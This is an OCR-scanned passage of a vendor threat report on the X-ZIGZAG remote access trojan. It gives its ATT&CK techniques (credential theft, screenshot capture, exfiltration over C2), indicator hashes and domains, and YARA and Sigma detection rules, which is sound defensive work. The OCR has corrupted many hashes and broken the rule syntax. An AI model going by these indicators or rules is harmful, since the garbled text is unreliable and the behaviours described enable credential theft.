Can capture and Requ.la.rly monitor system
activities for unusual
send screenshots . q
Screenshot Capture . . medium high screenshot or screen capture
of infected devices e
processes. Limit screen
to attackers. L.
capture permissions.
Can remotely Use file integrity monitoring
upload and .
. (FIM) to detect unauthorized
File Upload and Download | download . . . n
o X high high file transfers. Restrict
Capability files to and from .. -
. permissions for file
the infected
. uploads/downloads.
machine.
Use Data Loss Prevention
Steals system (DLP)
Data Exfiltration in JSON mformat.lor} a.nd . . tools to monitor and prevent
transmits itin high high

Format

JSON format to C2
servers.

the exfiltration of sensitive
information.
Encrypt data in transit.




MITRE ATT&CK TABLE

Tactics ID Name Description
X-ZIGZAG RAT may be delivered
Initial Access T5566 Phishing via L . .
phishing emails or malicious
attachments.
Executes PowerShell and CMD
Execution T1059 Command and Scripting Interpreter | commands remotely on the
infected machine.
Achieves persistence by creating
Persistence T1053 Scheduled Task/Job a scheduled task in Task
Scheduler.
Exploitation for Privilege Exploits system vulnerabilities
Privilege Escalation T1068 P ) g to gain elevated privileges on the
Escalation . q
infected machine.
T1027 Obfuscated Files or Information Uses Base64 encoding and
fileless
execution to evade antivirus and
Defense Evasion detection mechanisms. Erases
traces of
T1070 Indicator Removal on Host itself using a self-destruct
mechanism.
T1552 Credentials in Files
Steals saved credentials from
Credential Access browsers, local files, and WiFi
passwords.
T1555 Credentials from Password Stores
T1082 System Information Discovery,
Gathers system details,
identifies running processes, and
Discovery T1497 Virtualization/Sandbox Evasion detects virtualized or sandbox
environments
to evade analysis.
T1057 Process Discovery
Captures sensitive input such as
Collection T1056 Input Capture passwords and screenshots from
the infected system.
T1071 Application Layer Protocol Uses HTTP for communication
with
Command and Control the C2 server, and encodes data
T1132 Data Encoding in Base64 to evade detection.
Exfiltrates collected system
Exfiltration T1041 Exfiltration Over C2 Channel information to a remote C2 server

using JSON format.
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APT Identified Threat
Group Categories

Malware Family

Opensource Malware, Remote Access Trojan, AsyncRAT
No APT Group Information Stealer

To Download the I0C List, check our Github

Note: The web site ip-api.com mentioned in the I0C section is not a malicious site.
It has been included as an I0C because it is part of the operational structure of the
X-ZIGZAG RAT malware during the analysis process. Before considering blocking it,
make sure that this service is not being used by legitimate applications on your
system.

0687c43daf8adecbcd5243494bcaca856ecec9c427b83a0174fcf2ae24db3672

3d623dfbc3847c355955075Fff048dabdfed4a32207fbb9426de48d9117dfbf71a

79dc17151bc80c3acellfdca58df7bof700+ff8adof1f3bal16828ddaad87e485
Sha256

ble90f2cecalatab69b2ae8bc2eba2fd53e6+59927b0cb9ad072207ed50335e8

b2a57d3fd0a81209322c01915a49af794dc931476d561c432edcd8a8elefebe9

23769eaafcl1191f2bf256fe429ad4ed0569d4ab687f94e7e5alf4f2df4e38d3c

DOMAIN ip-apif.]com

xspeed[.]site

hxxp[:]//ip-api[.]com
hxxps[:]//xspeed[.]site
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Yara Rule

To Download the Yara Rule, check our Github

fuie A sivans medsazal

meta:
description = ®Yara rule for detecting X-ZIGZAG RAT"
authoer = "Aziz Kaplan™
email = "aziz. kaplan@threatmonit.io"

strings:
51 = /[A-Za-z0-9+%/] {40, }==/ ascii
52 = "/cZNyIWVucZhvdHtnZXQ7cZV003I1bRGFOYU11bWIlcl lwdWIsaWMgaWS0IGS leHRQaWIne 2d1dDez 3X0T EVLEYXRhTWVE YoV yXXB1 YmxpY yEMaXNOPE luc3RydWNOal 3
$3 = "dXNpbmegU3lzdGVeO3VzaWSnIFNSc3R1bSSEaWFnbmdzdGljeztle2 luZyBTeXNOZWOuSUS TdXNpbmegU3l2dGVE LI RoemVhEZGluZySUY XNy e 2 twdWI saWMg Y 2 xhe IMgl
$4 = "EyJelilTUHIvY2VzoyBjemVhdGVUYENC WS 1dyBOomD i 2XNze INOY X JOSWImb 2 LullegUHIvE2Vac INDYXIOSWimb 3t GaWx I TmFL 2T 0ic2NodGFaa3tulhl TixBomdll
$5 = "dxNpbmegU3lzdGVeOo3VzaWSnIFNSc3R1lbS5Db2xsEWN0aWucySHIWS Leml O 3VzaWsnIFNScIR1bSSEcmE JaWsn03VzaWSnIFNSc3R1bSSEcmE 3aWinLkl e YWdpbme T
36 = "pcHRTcHVibG1j IHNOYXRpY yBhe3luYyBUYENr IFN1bmRJEWEnZVdpdGhSZXRye ShzdlJpbmegEWS koG 8pbnRVemwsYn 1 02VidaWlha 2VCeXR1l cyxpbndgbWF4UmVOcml
$7 = "EhOdHBDbGllbnQgaHROcENsaWVudDluZXegSHROcEN2aWVudCogpEXt3aGleZsghe3Viv2veeyYmemVicnl Db3VudDx e YXhSIXRyaWwVzEX t0cnl TdxNpbmeodmEy IGNvE:
$8 = "h1YWR1cnMuTWVKkaWFUeXBlSGVhIGVyVmFadWUoInlt¥WdlL2pwEWciKTE2Y X IgemVzoGouc2Us¥ R dhakQgaHROCENsaWVudC Qb 3NO QRN ShaMo ZN S ke GO phnRV emws Y 2!
5% = "diNpbmcogU3lzdGVeLlRocmVhEGluZy5Uu¥sNreztle2 luZyBNaWNybINVENQuVZ luMzI TdXNpbmegU 3l 2dGVto3IveawinI FNScIR]1bsSEaWFnbmbzdEl jezt Le2 Ing yaT
310 = "iZS5zeXMiLCJIDOLlxcdZlulGi3clxee3ladGViMezJoXGRyaXElenNcXHNhEmRib3hpZS5zeXMIiLCIDOLcdZlulGo3clxec3lebmF0ak il XFxkeml 23X J e XFx JdWN b2
511 = "EXtpZihJeORlYnVnZ2VyUHJIle2VudCgpfHXEIWFL1Z22d]leiSJe0F0dGr)aGVkkXcyIXRlemdgdiI]l 2T SemVOdXJUIGZhbANLOZ IwdWisaWMge3RhdG1] IGFzeWS ] IFR)

Sopl = {4% 6E 73 74 T2 75 63 74 €% 6F 6E 48 61 6E 64 6C &5 72 00 53 63 72 €5 65 6E 713 68 €F T4 73 48 61 €6E 64 6C 65 72}

Sop2 = {00 47 €5 74 52 65 73 75 &C 74 00 53 65 V4 52 65 73 75 6C T4 00 49 €E 69 74 69 €1 €C &% TA €5 43 &€F €D 70 €F €E 65 €E 74 00 &7
Sop3 = {44 65 €2 75 &7 67 6% €E €7 4D 6F 64 &5 73 00 67 €5 74 5F 52 65 66 €5 72 €5 6E €3 €5 64 41 72 72 €5 €D 62 eC €9 65 73}

Sopd = {53 7% 73 74 &5 6D 2E 43 &F €C 6C 65 &3 V4 €% 6F €E 73 00 53 74 72 &9 €E €7 53 70 €C &3 V4 4F 70 74 €D &F &E 73 00}

Sop5 = {67 65 74 5F 45 6E 64 70 €F €% 6E 74 00 73 &5 74}

Sopé = {73 65 74 S5F 47 65 6E €5 72 €1 74 65 49 €E 4D 65 6D &F 72 79}

SopT = {4D 65 74 €8 6F 64 49 €E €6 6F 00 43 75 &C 74 75 72 €5 49 €E &€ &F)

Sopf = {44 65 €2 75 &7 &7 65 72 53 74 63 70 54 €8 T2 6F 7% &7 &8 41 74 74 T2 €9 &2 7% 74}

So0p% = {44 65 62 75 67 67 65 72 4E 6F 6E 55 73 65 72 43 6F 64 65 41 74 74 72 6% 62 75 74 &5)

condition:
{uintlE(0) == 0x5A4D) and (all of (51, 52, $3, 4. 35, %6, 37, %%, $%, $10, $11}) or (3 of (Sep*))

Sigma Rules

To Download the Sigma Rules, check our Github

title: WMI Query Detectiom
id: €1d0475c-173f-4244-86f7-f3ecbaclabtb
status: test
description: Detects the WMI Queries that the X-ZIGZAG Malware Issues within the system - (part of sigma rule for x-zigzag rat).
auther: Aziz Kaplan <aziz.kaplan@threatmonit.iod>
[Flogsouzce:
I category: process_creation
product: windows
detection:
selection_wmi_query 1:
CommandLine |contains: 'SELECT * FROM Win32 ComputerSystem'
selection_wmi_query 2:
CommandLine |contains: 'root\\CIMVZ", "SELECT * FROM Win32_WVideoController'
selection_wmi_gquery 3:
CommandLine |contains: 'SELECT * FROM Win32_BIOS'
selection_wmi_guery 4:
Commandline |contains: "SELECT * FROM Win32 Processor'
selection_wmi_gquery 5:
CommandLine |contains: 'SELECT * FROM Win32 BaseBoard'
selection_wmi_guery 6:
CommandLine |contains: '"SELECT * FROM Win32_OperatingSystem'
selection_wmi_query_T:
CommandLine |contains: 'SELECT NumberOfLogicalProcessors FROM Win32 Processor'
selection_wmi_gquery 8:
CommandLine |contains: '"SELECT Name FROM Win32_videoController'
selection_wmi_query 9:
CommandLine |contains: 'SELECT Manufacturer, PartNumber, Capacity FROM Win32_PhysicalMemory'
condition:
1 of selection_wmi_cuery 1, selection_wmi_query 2, selection_wmi_query 3, selection_wmi_query_d,
selection_wmi_query %, selection_wmi_query 6, selection_wmi_query 7, selection_wmi_gquery &,
selection_wmi_guery_ 9

[falseapositives:
I - Legitimate system or application manmagement tools may use these gueries.

level: medium



https://github.com/ThreatMon/ThreatMon-Reports-IOC
https://github.com/ThreatMon/ThreatMon-Reports-IOC

ThreatMon

@ 23 12

Total Alarm Code - Phishing/Config Files Top Website Header

Totsl Alsem | Critical Alarm cloidhae Agine. 18,0 (L)

ThreatMon End-to-end intelligence is a cutting-edge, cloud-based SaaS platform
that continuously monitors the dark and surface web, providing early warnings
and actionable insights into emerging threats.

We are a SaaS platform designed to help businesses proactively detect and
address threats before a cyber attack occurs. Unlike traditional cyber threat
intelligence, we provide comprehensive and holistic cyber intelligence.

e Attack Surface Intelligence

e Fraud Intelligence
e Dark and Su.rface Web Intelligence (/,:) AP pL 4
e Threat Intelligence |

¢ FREE ACCESS

- -<

Email Address
team@threatmonit.io

https://x.com/MonThreat

in https://www.linkedin.com/company/threatmon


https://threatmon.io/free-trial/
https://x.com/MonThreat
https://www.linkedin.com/company/threatmon
https://threatmon.io/free-trial/

